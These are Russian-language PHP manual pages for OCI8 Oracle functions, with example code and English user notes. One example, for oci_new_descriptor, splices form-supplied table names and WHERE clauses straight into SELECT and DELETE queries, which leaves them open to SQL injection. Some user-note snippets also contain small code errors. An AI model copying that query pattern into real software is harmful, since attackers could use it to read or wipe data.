  • oci_field_type() - Возвращает имя типа поля

User Contributed Notes

VLroyrenn 20-Apr-2018 04:28
If you're converting SQL values to their respective float and int values based on scale and precision like I am, there's a catch, here.

This is a slimmed-down version of the conversion logic I'm using :

<?php
$col = [
    'id' => $field_id,
    'name' => oci_field_name($statement, $field_id),
    'type' => oci_field_type($statement, $field_id),
    'scale' => oci_field_scale($statement, $field_id);
    'precision' => oci_field_precision($statement, $field_id);
]

$str_data = oci_result($statement, $field_id)

switch($col['type']) {
    case 'NUMBER':
        if ($col['precision'] !== 0 && $col['scale'] === -127) {
            // A binary float
            $data = floatval($str_data);
        } else if($col['scale'] === 0) {
            // An integer
            $data = intval($str_data);
        } else {
            // A fixed-point decimal number, which has no equivalent in PHP, so float
            $data = floatval($str_data);
        }

        break;

    default:
        $data = $str_data;
        break;
}

echo("{$col['name']} : $str_data ({$col['type']} ({$col['precision']}, {$col['scale']})) -> $data\n");
?>

What the doc doesn't say is that any number column that was defined without a scale parameter counts as a plain NUMBER(), which always has a precision of 0 and a scale of -127, so they get interpreted as floats even when they should be integers.

What the doc also doesn't say is that __all analytics functions that return numbers return a plain NUMBER()__, so something like COUNT(*), RANK() or FIRST_VALUE(foo) is still going to net you a float.

Be careful with these if you have any type-sensitive code that relies on those values (I'm personally very fond of using type-hinting and strict_types = 1).


Возвращает размер поля

  • « oci_field_scale
  • oci_field_type_raw »
  • PHP Manual
  • OCI8 Функции
  • Возвращает размер поля

oci_field_size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_size — Возвращает размер поля

Описание

oci_field_size(resource $statement, string|int $column): int|false

Возвращает размер поля column.

Список параметров

statement

Идентификатор допустимого OCI запроса.

column

Может быть номером поля (нумерация начинается с 1) или именем.

Возвращаемые значения

Возвращает размер поля column в байтах или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_field_size()

<?php

// Создайте таблицу:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
// clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // // используйте OCI_DESCRIBE_ONLY, если не получаете данных

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Name</th>";
echo "<th>Type</th>";
echo "<th>Length</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
$column_name = oci_field_name($stid, $i);
$column_type = oci_field_type($stid, $i);
$column_size = oci_field_size($stid, $i);

echo "<tr>";
echo "<td>$column_name</td>";
echo "<td>$column_type</td>";
echo "<td>$column_size</td>";
echo "</tr>\n";
}

echo "</table>\n";

// Выведет:
// Name Type Length
// NUMBER_COL NUMBER 22
// VARCHAR2_COL VARCHAR2 1
// CLOB_COL CLOB 4000
// DATE_COL DATE 7

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_num_fields() - Возвращает количество полей в результате запроса
  • oci_field_name() - Возвращает имя поля из результата запроса

User Contributed Notes

rudi at darx dot com 16-Jul-2000 10:19
Just a note regarding the size of Oracle  NUMBERS will always return 22 as their "size".

This seems to be an Oracle feature. The rest of the documentation is in bug5156.


Возвращает исходный тип поля Oracle

  • « oci_field_size
  • oci_field_type »
  • PHP Manual
  • OCI8 Функции
  • Возвращает исходный тип поля Oracle

oci_field_type_raw

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_type_raw — Возвращает исходный тип поля Oracle

Описание

oci_field_type_raw(resource $statement, string|int $column): int|false

Возвращает тип "SQLT" Oracle поля column.

Если вы хотите получить тип поля, то oci_field_type() подойдёт вам больше.

Список параметров

statement

Идентификатор допустимого OCI запроса.

column

Может быть номером поля (нумерация начинается с 1) или именем.

Возвращаемые значения

Возвращает исходный тип Oracle в виде числа или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_field_type_raw()

<?php

// Создать таблицу:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1), clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid, OCI_DESCRIBE_ONLY); // используйте OCI_DESCRIBE_ONLY, если не получаете данных
$n = oci_num_fields($stid);
for ($i = 1; $i <= $n; ++$i) {
echo oci_field_name($stid, $i) . " - исходный тип: " . oci_field_type_raw($stid, $i) . "<br>\n";
}

// Выведет:
// NUMBER_COL - исходный тип: 2
// VARCHAR2_COL - исходный тип: 1
// CLOB_COL - исходный тип: 112
// DATE_COL - исходный тип: 12

oci_free_statement($stid);
oci_close($conn);

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает имя типа поля

  • « oci_field_type_raw
  • oci_free_descriptor »
  • PHP Manual
  • OCI8 Функции
  • Возвращает имя типа поля

oci_field_type

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_field_type — Возвращает имя типа поля

Описание

oci_field_type(resource $statement, string|int $column): string|int|false

Возвращает имя типа поля.

Список параметров

statement

Допустимый идентификатор OCI-выражения.

column

Может быть задано индексом (начиная с 1) или по имени.

Возвращаемые значения

Возвращает тип поля как строку (string) или как целое число (int) или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_field_type()

<?php

// Создайте таблицу:
// CREATE TABLE mytab (number_col NUMBER, varchar2_col varchar2(1),
// clob_col CLOB, date_col DATE);

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, "SELECT * FROM mytab");
oci_execute($stid, OCI_DESCRIBE_ONLY); // используйте OCI_DESCRIBE_ONLY, если не получаете данных

echo "<table border=\"1\">\n";
echo "<tr>";
echo "<th>Имя</th>";
echo "<th>Тип</th>";
echo "<th>Длина</th>";
echo "</tr>\n";

$ncols = oci_num_fields($stid);

for ($i = 1; $i <= $ncols; $i++) {
$column_name = oci_field_name($stid, $i);
$column_type = oci_field_type($stid, $i);
$column_size = oci_field_size($stid, $i);

echo "<tr>";
echo "<td>$column_name</td>";
echo "<td>$column_type</td>";
echo "<td>$column_size</td>";
echo "</tr>\n";
}

echo "</table>\n";

// Выведет:
// Имя Тип Длина
// NUMBER_COL NUMBER 22
// VARCHAR2_COL VARCHAR2 1
// CLOB_COL CLOB 4000
// DATE_COL DATE 7

oci_free_statement($stid);
oci_close($conn);

?>

Смотрите также

  • oci_num_fields() - Возвращает количество полей в результате запроса
  • oci_field_name() - Возвращает имя поля из результата запроса
  • oci_field_size() - Возвращает размер поля

User Contributed Notes

There are no user contributed notes for this page.


Освобождает дескриптор

  • « oci_field_type
  • oci_free_statement »
  • PHP Manual
  • OCI8 Функции
  • Освобождает дескриптор

oci_free_descriptor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_free_descriptor — Освобождает дескриптор

Описание

oci_free_descriptor(OCILob $lob): bool

Освобождает дескриптор, созданный с помощью oci_new_descriptor().

Список параметров

descriptor

Дескриптор, созданный с помощью oci_new_descriptor().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примечания

Замечание:

Функция обычно используется как метод OCILOB::free.

Смотрите также

  • OCILOB::free

User Contributed Notes

There are no user contributed notes for this page.


Освобождает ресурсы, занимаемые курсором или SQL-выражением

  • « oci_free_descriptor
  • oci_get_implicit_resultset »
  • PHP Manual
  • OCI8 Функции
  • Освобождает ресурсы, занимаемые курсором или SQL-выражением

oci_free_statement

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_free_statement — Освобождает ресурсы, занимаемые курсором или SQL-выражением

Описание

oci_free_statement(resource $statement): bool

Освобождает все ресурсы, занимаемые курсором или SQL-выражением, которое было возвращено функцией oci_parse() или получено от сервера Oracle.

Список параметров

statement

Допустимый идентификатор OCI-выражения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

passerbyxp at gmail dot com 19-Dec-2012 08:37
A freed statement is not "empty()", it's still a resource:

<?php
$con=oci_connect(/*connect*/);
$q=oci_parse($con,"SELECT sysdate FROM dual");
var_dump($q); // resource(5) of type (oci8 statement)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // string(6) "SELECT"
echo "------\n";
oci_execute($q);
var_dump($q); // same as above
var_dump(empty($q));
var_dump(oci_statement_type($q));
echo "------\n";
oci_free_statement($q);
var_dump($q); // resource(5) of type (Unknown)
var_dump(empty($q)); // bool(false)
var_dump(oci_statement_type($q)); // generates warning and returns false
oci_close($con);
?>

So far I can not think of a way to determine if a statement is freed without using an additional flag...
Jen M. 02-Oct-2008 11:05
oci_free_statement doesn't always free up cursors.  I had a query where I performed the following functions in a loop:

OCIParse
OCIExecute
Oci_fetch_assoc
(Grab some field values)
OciFreeStatement

I didn't specify the use of a cursor, but ran into a "maximum
open cursors exceeded" error.  Within my code, I had one "select * from table_with_lobs" query.  When I changed the query to be "select a, b, c, from table_with_lobs" (where I specified the actual column names and where those columns were not LOB fields) the error message went away and I didn't have to resort to upping the max_open_cursors value in Oracle.
rada at instinctive dot it 04-Mar-2008 08:46
If you are using cursors, make sure to free the statement *and* the cursor, especially if there is a possibility of running the proc/cursor again (e.g. with different parameters).

<?php

    oci_execute($stmt);
    oci_execute($crsr);

    // iterate through cursor...

    oci_free_statement($stmt);
    oci_free_statement($crsr);
?>

You need to do it explicitly, closing connection for example does not seem to release the cursor.


Возвращает следующий ресурс дочернего запроса из ресурса родительского запроса, имеющего неявные результирующие наборы Oracle Database

  • « oci_free_statement
  • oci_lob_copy »
  • PHP Manual
  • OCI8 Функции
  • Возвращает следующий ресурс дочернего запроса из ресурса родительского запроса, имеющего неявные результирующие наборы Oracle Database

oci_get_implicit_resultset

(PHP 5 >= 5.6.0, PHP 7, PHP 8, PECL OCI8 >= 2.0.0)

oci_get_implicit_resultset — Возвращает следующий ресурс дочернего запроса из ресурса родительского запроса, имеющего неявные результирующие наборы Oracle Database

Описание

oci_get_implicit_resultset(resource $statement): resource|false

Используется для выборки последовательных наборов результатов запроса после выполнения хранимого или анонимного блока Oracle PL / SQL, когда этот блок возвращает результаты запроса Oracle Database 12 (или новее) с помощью PL/SQL функции DBMS_SQL.RETURN_RESULT. Это позволят блокам PL/SQL возвращать результаты запроса.

Дочерний запрос может быть использован с любой извлекающей
функцией OCI8: oci_fetch(), oci_fetch_all(),
oci_fetch_array(), oci_fetch_object(),
oci_fetch_assoc() или oci_fetch_row()

Дочерний запрос наследует родительское значение предвыборки, либо можно указать его явно с помощью oci_set_prefetch().

Список параметров

statement

Корректный идентификатор запроса OCI8, созданный с помощью oci_parse() и запущенный с помощью oci_execute(). Идентификатор запроса может быть, а может и не быть связан с SQL-запросом, который возвращает неявные результирующие наборы (Implicit Result Set).

Возвращаемые значения

Возвращает обработчик запроса для следующего доступного для statement дочернего запроса. Возвращает false если такового нет или все дочерние запросы уже были возвращены предыдущими вызовами oci_get_implicit_resultset().

Примеры

Пример #1 Извлечение неявных результирующих наборов в цикле

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

while (($stid_c = oci_get_implicit_resultset($stid))) {
echo "<h2>Новый неявный результирующий набор:</h2>\n";
echo "<table>\n";
while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";
}

// Вывод:
// Новый неявный результирующий набор:
// Beijing 190518
// Bern 3095
// Bombay 490231
// New Implicit Result Set:
// CN
// CH
// IN

oci_free_statement($stid);
oci_close($conn);

?>

Пример #2 Извлечение обработчиков дочерних запросов в индивидуальном порядке

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_1 = oci_get_implicit_resultset($stid);
$stid_2 = oci_get_implicit_resultset($stid);

$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_1, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);
$row = oci_fetch_array($stid_2, OCI_ASSOC+OCI_RETURN_NULLS);
var_dump($row);

// Вывод:
// array(2) {
// ["CITY"]=>
// string(7) "Beijing"
// ["POSTAL_CODE"]=>
// string(6) "190518"
// }
// array(1) {
// ["COUNTRY_ID"]=>
// string(2) "CN"
// }
// array(2) {
// ["CITY"]=>
// string(4) "Bern"
// ["POSTAL_CODE"]=>
// string(4) "3095"
// }
// array(1) {
// ["COUNTRY_ID"]=>
// string(2) "CH"
// }

oci_free_statement($stid);
oci_close($conn);

?>

Пример #3 Явное указание величины предвыборки

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

$stid_c = oci_get_implicit_resultset($stid);
oci_set_prefetch($stid_c, 200); // Устанавливаем величину предвыборки до того как начинаем извлекать пезультаты из дочернего запроса
echo "<table>\n";
while (($row = oci_fetch_array($stid_c, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Пример #4 Пример неявного результирующего набора без использования oci_get_implicit_resultset()

Все результаты всех запросов возвращаются последовательно.

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/pdborcl');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'DECLARE
c1 SYS_REFCURSOR;
BEGIN
OPEN c1 FOR SELECT city, postal_code FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
OPEN c1 FOR SELECT country_id FROM locations WHERE ROWNUM < 4 ORDER BY city;
DBMS_SQL.RETURN_RESULT(c1);
END;';

$stid = oci_parse($conn, $sql);
oci_execute($stid);

// Обратите внимание: oci_fetch_all and oci_fetch() нельзя использовать таким образом
echo "<table>\n";
while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>".($item!==null?htmlentities($item, ENT_QUOTES|ENT_SUBSTITUTE):"")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

// Вывод:
// Beijing 190518
// Bern 3095
// Bombay 490231
// CN
// CH
// IN

oci_free_statement($stid);
oci_close($conn);

?>

Примечания

Замечание:

Для запросов, возвращающих большое количество рядов, производительность может быть значительно увеличена с помощью увеличения значения опции oci8.default_prefetch или использования oci_set_prefetch().

User Contributed Notes

There are no user contributed notes for this page.


Копирует объект LOB

  • « oci_get_implicit_resultset
  • oci_lob_is_equal »
  • PHP Manual
  • OCI8 Функции
  • Копирует объект LOB

oci_lob_copy

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_lob_copy — Копирует объект LOB

Описание

oci_lob_copy(OCILob $to, OCILob $from, ?int $length = null): bool

Копирует содержание или часть содержания объекта LOB в другой объект LOB. Содержимое объекта LOB, в который производится копирование, перезаписывается.

Если необходимо скопировать определённую часть объекта, то для этого можно использовать OCILob::seek(), чтобы передвинуть внутренние указатели объектов на нужные позиции.

Список параметров

to

LOB объект назначения.

from

Копируемый объект LOB.

length

Длина участка содержимого для копирования.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | length теперь допускает значение null.

Примечания

Замечание:

Класс OCILob назывался OCI-Lob до PHP 8 и PECL OCI8 3.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Сравнивает два объекта LOB/FILE

  • « oci_lob_copy
  • oci_new_collection »
  • PHP Manual
  • OCI8 Функции
  • Сравнивает два объекта LOB/FILE

oci_lob_is_equal

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_lob_is_equal — Сравнивает два объекта LOB/FILE

Описание

oci_lob_is_equal(OCILob $lob1, OCILob $lob2): bool

Сравнивает два объекта LOB/FILE.

Список параметров

lob1

Идентификатор LOB.

lob2

Идентификатор LOB.

Возвращаемые значения

Возвращает true, если объекты идентичны, и false в обратном случае или в случае возникновения ошибки.

Примечания

Замечание:

Класс OCILob назывался OCI-Lob до PHP 8 и PECL OCI8 3.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый объект коллекции

  • « oci_lob_is_equal
  • oci_new_connect »
  • PHP Manual
  • OCI8 Функции
  • Создаёт новый объект коллекции

oci_new_collection

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_collection — Создаёт новый объект коллекции

Описание

oci_new_collection(resource $connection, string $type_name, ?string $schema = null): OCICollection|false

Создаёт новый объект коллекции.

Список параметров

connection

Идентификатор соединения с сервером Oracle, возвращаемый функцией oci_connect() или oci_pconnect().

type_name

Должен быть корректным именем типа (в верхнем регистре).

schema

Должна быть указана схема данных, где создан именованный тип. Если передано значение null, указывается имя пользователя в качестве имени схемы.

Возвращаемые значения

Возвращает новый объект OCICollection или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | schema теперь допускает значение null.

Примечания

Замечание:

Класс OCICollection назывался OCI-Collection до PHP 8 и OCI8 3.0.0.

User Contributed Notes

VLroyrenn 27-Mar-2018 03:39
This is a woefully underdocumented feature (at least here), but being able to bind collections to prepared statements instead of rolling your own SQL arrays is a massive improvement in terms of safety and conveinience, and a feature I think more DBMS should have in their API.

You can basically send collections of the types listed by the following query :

SELECT * FROM SYS.ALL_TYPES WHERE TYPECODE = 'COLLECTION' AND TYPE_NAME LIKE 'ODCI%'

Those are all collections that can contain any number of the SQL type indicated in their name.

<?php
$my_array = ["foo", "bar", "baz"];

$my_collection = oci_new_collection($conn, 'ODCIVARCHAR2LIST', 'SYS');

foreach($my_array as $elem) {
    $cell_collection->append($elem);
}

oci_bind_by_name($statement, ":collection", $my_collection, -1, SQLT_NTY);
?>

The collection ressource can be appended with numbers, strings or dates (which need to be passed as strings in the "DD-MON-YY" format, such as "27-MAR-18", apparently) depending on the types supported by the collection you're using, and none of these appear to support timestamps or any of the more complex data types.

Code for the OCI collection type, for reference :

http://git.php.net/?p=php-src.git;a=blob;f=ext/oci8/oci8_collection.c;hb=refs/heads/master#l429


Устанавливает новое соединение с сервером Oracle

  • « oci_new_collection
  • oci_new_cursor »
  • PHP Manual
  • OCI8 Функции
  • Устанавливает новое соединение с сервером Oracle

oci_new_connect

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_connect — Устанавливает новое соединение с сервером Oracle

Описание

oci_new_connect(
string $username,
string $password,
?string $connection_string = null,
string $encoding = "",
int $session_mode = OCI_DEFAULT
): resource|false

Создаёт новое соединение с сервером Oracle и выполняет вход.

В отличие от oci_connect() и oci_pconnect(), функция oci_new_connect() не кеширует соединения и при каждом вызове устанавливает новое соединение. Это полезно, если приложению необходима транзакционная изоляция двух наборов запросов.

Список параметров

username

Имя пользователя Oracle.

password

Пароль пользователя username.

connection_string

Содержит экземпляр Oracle для подключения. Это может быть » Easy Connect string, или Connect Name из файла tnsnames.ora, или имя локального экземпляра Oracle.

Если не указано отдельно или null, PHP использует переменные окружения, такие как TWO_TASK (на Linux) или LOCAL (на Windows) и ORACLE_SID для определения экземпляра Oracle для соединения.

Для использования метода Easy Connect, PHP должен быть слинкован с клиентскими библиотеками версии Oracle 10g или старше. Easy Connect string для Oracle 10g принимает следующую форму: [//]host_name[:port][/service_name]. Начиная с Oracle 11g синтаксис таков: [//]host_name[:port][/service_name][:server_type][/instance_name]. В Oracle 19c были введены дополнительные параметры, включая настройки времени ожидания и проверки активности. Обратитесь к документации Oracle. Названия служб могут быть определены с помощью запуска Oracle утилиты lsnrctl status на сервере базы данных.

Файл tnsnames.ora может находиться в поисковом пути Oracle Net, который включает /your/path/to/instantclient/network/admin, $ORACLE_HOME/network/admin и /etc. В качестве альтернативного варианта можно установить TNS_ADMIN таким образом, чтобы путь $TNS_ADMIN/tnsnames.ora был читаемым. Убедитесь, что веб-сервер имеет доступ к этому файлу.

encoding

Определяет кодировку, используемую клиентскими библиотеками Oracle. Данная кодировка не обязательно должна совпадать с кодировкой, используемой в самой базе данных. Если она не совпадает, Oracle сделает все возможное для конвертирования данных из- и в данную кодировку. В зависимости от используемых кодировок это может не всегда давать приемлемые результаты. Преобразование также создаёт некоторые дополнительные временные затраты.

Если кодировка не указана, клиентские библиотеки Oracle будут определять её из переменной окружения NLS_LANG.

Передача этого параметра может уменьшить время затрачиваемое на соединение.

session_mode

Этот параметр доступен начиная с версии PHP 5 (PECL OCI8 1.1) и принимает следующие значения: OCI_DEFAULT, OCI_SYSOPER и OCI_SYSDBA. Если были указаны OCI_SYSOPER или OCI_SYSDBA, данная функция попытается установить привилегированное соединение, используя внешние данные авторизации. По умолчанию привилегированные соединения отключены. Чтобы их включить, необходимо установить oci8.privileged_connect в On.

В версии PHP 5.3 (PECL OCI8 1.3.4) появилось значение OCI_CRED_EXT. Оно указывает Oracle использовать внешнюю аутентификацию или аутентификацию с помощью операционной системы, что должно быть настроено в базе данных. Флаг OCI_CRED_EXT может быть использован только с именем пользователя "/" и пустым паролем. oci8.privileged_connect может принимать значение On или Off.

OCI_CRED_EXT может использоваться совместно с режимами OCI_SYSOPER и OCI_SYSDBA.

OCI_CRED_EXT не поддерживается в Windows по причинам безопасности.

Возвращаемые значения

Возвращает идентификатор соединения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0, PECL OCI8 3.0.0 | connection_string теперь допускает значение null.

Примеры

Приведённый ниже пример иллюстрирует как использовать обособленные соединения.

Пример #1 Пример использования oci_new_connect()

<?php

// создайте таблицу mytab (mycol number);

function query($name, $c)
{
echo "Выполнение $name\n";
$s = oci_parse($c, "select * from mytab");
oci_execute($s, OCI_NO_AUTO_COMMIT);
$row = oci_fetch_array($s, OCI_ASSOC);
if (!$row) {
echo "Нет данных\n";
} else {
do {
foreach ($row as $item)
echo $item . " ";
echo "\n";
} while (($row = oci_fetch_array($s, OCI_ASSOC)) != false);
}
}

$c1 = oci_connect("hr", "welcome", "localhost/orcl");
$c2 = oci_new_connect("hr", "welcome", "localhost/orcl");

$s = oci_parse($c1, "insert into mytab values(1234)");
oci_execute($s, OCI_NO_AUTO_COMMIT);

query("основного соединения", $c1);
query("нового соединения", $c2);
oci_commit($c1);
query("нового соединения после commit", $c2);

// Выведет:
// Выполнение основного соединения
// 1234
// Выполнение нового соединения
// Нет данных
// Выполнение нового соединения после commit
// 1234

?>

Дополнительные примеры можно найти в описании функции oci_connect().

Смотрите также

  • oci_connect() - Устанавливает соединение с базой данных Oracle
  • oci_pconnect() - Устанавливает постоянное соединение с сервером Oracle

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор созданного курсора

  • « oci_new_connect
  • oci_new_descriptor »
  • PHP Manual
  • OCI8 Функции
  • Возвращает идентификатор созданного курсора

oci_new_cursor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_cursor — Возвращает идентификатор созданного курсора

Описание

oci_new_cursor(resource $connection): resource|false

Создаёт новый курсор для указанного соединения и возвращает его идентификатор.

Список параметров

connection

Идентификатор соединения с сервером Oracle, возвращаемый функцией oci_connect() или oci_pconnect().

Возвращаемые значения

Возвращает указатель на новое выражение или false в случае возникновения ошибки.

Примеры

Пример #1 Привязка REF CURSOR в вызове хранимых процедур Oracle

<?php

// Предварительная подготовка:
// создайте или замените процедуру myproc(myrc out sys_refcursor) как
// begin
// open myrc for select first_name from employees;
// end;

$conn = oci_connect("hr", "hrpwd", "localhost/XE");
if (!$conn) {
$m = oci_error();
trigger_error(htmlentities($m['message']), E_USER_ERROR);
}

$curs = oci_new_cursor($conn);
$stid = oci_parse($conn, "begin myproc(:cursbv); end;");
oci_bind_by_name($stid, ":cursbv", $curs, -1, OCI_B_CURSOR);
oci_execute($stid);

oci_execute($curs); // Выполняет REF CURSOR как обычный идентификатор выражения
while (($row = oci_fetch_array($curs, OCI_ASSOC+OCI_RETURN_NULLS)) != false) {
echo $row['FIRST_NAME'] . "<br />\n";
}

oci_free_statement($stid);
oci_free_statement($curs);
oci_close($conn);

?>

User Contributed Notes

mgumiel at mgait dot com 08-Nov-2012 09:15
Some packages in oracle are functions, and that functions returns a cursor.

For example:

CREATE FUNCTION F_Function( p1 char(2), p2 int)
  RETURN SYS_REFCURSOR
AS
  my_cursor SYS_REFCURSOR;
BEGIN
  OPEN my_cursor FOR SELECT * FROM allitems
                           WHERE (cod=p1)
                                      AND (Number=p2);
  RETURN my_cursor;
END F_Function;

Here is the code that allows to obtain data from a function that returns a cursor.

<pre>
<?php
 $conn=oci_connect("server", "user", "pass");
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

    //You must asign before.
    $p1 = '03';
    $p2 = 2012016191;

    $stid = oci_parse($conn, 'begin :cursor := server.PKG_package.F_Function(:p1,:p2); end;');
    $p_cursor = oci_new_cursor($conn);

    //Send parameters variable  value  lenght
    oci_bind_by_name($stid, ':p1', $p1,2);
    oci_bind_by_name($stid, ':p2', $p2,10);

    //Bind Cursor     put -1
    oci_bind_by_name($stid, ':cursor', $p_cursor, -1, OCI_B_CURSOR);

    // Execute Statement
    oci_execute($stid);
    oci_execute($p_cursor, OCI_DEFAULT);

    oci_fetch_all($p_cursor, $cursor, null, null, OCI_FETCHSTATEMENT_BY_ROW);
    echo '<br>';
    print_r($cursor);
 ?>
sixd at php dot net 27-Jan-2010 10:41
Oracle 11.2 introduced support for REF CURSOR prefetching
sixd at php dot net 05-Nov-2008 12:13
Because OCI8 uses "prefetching" to greatly improve returning query results, but Oracle doesn't support prefetching for REF CURSORs, application performance using REF CURSORs can be greatly improved by writing a PL/SQL function that pulls data from the REF CURSOR and PIPEs the output. The new function can be queried in a SELECT as if it were a table.  See http://blogs.oracle.com/opal/2008/11/
converting_ref_cursor_to_pipe.html


Инициализирует новый дескриптор объекта LOB или FILE

  • « oci_new_cursor
  • oci_num_fields »
  • PHP Manual
  • OCI8 Функции
  • Инициализирует новый дескриптор объекта LOB или FILE

oci_new_descriptor

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_new_descriptor — Инициализирует новый дескриптор объекта LOB или FILE

Описание

oci_new_descriptor(resource $connection, int $type = OCI_DTYPE_LOB): ?OCILob

Резервирует ресурсы, необходимые для хранения дескриптора объекта или LOB-локатора.

Список параметров

connection

Идентификатор соединения с сервером Oracle, возвращаемый функцией oci_connect() или oci_pconnect().

type

Допустимые значения параметра type: OCI_DTYPE_FILE, OCI_DTYPE_LOB и OCI_DTYPE_ROWID.

Возвращаемые значения

Возвращает новый LOB или дескриптор FILE в случае успешного выполнения или null в случае возникновения ошибки.

Примеры

Пример #1 Пример использования oci_new_descriptor()

<?php
/* Приведённый скрипт разработан для использования с HTML формами.
* Это подразумевает, что $user, $password, $table, $where, и $commitsize
* получены из формы. Скрипт удаляет записи с использованием
* ROWID и закрывает транзакцию после каждого
* $commitsize записей. (Используйте осторожно, откат изменений невозможен)
*/
$conn = oci_connect($user, $password);
$stmt = oci_parse($conn, "select rowid from $table $where");
$rowid = oci_new_descriptor($conn, OCI_D_ROWID);
oci_define_by_name($stmt, "ROWID", $rowid);
oci_execute($stmt);
while (oci_fetch($stmt)) {
$nrows = oci_num_rows($stmt);
$delete = oci_parse($conn, "delete from $table where ROWID = :rid");
oci_bind_by_name($delete, ":rid", $rowid, -1, OCI_B_ROWID);
oci_execute($delete);
echo "$nrows\n";
if (($nrows % $commitsize) == 0) {
oci_commit($conn);
}
}
$nrows = oci_num_rows($stmt);
echo "$nrows deleted...\n";
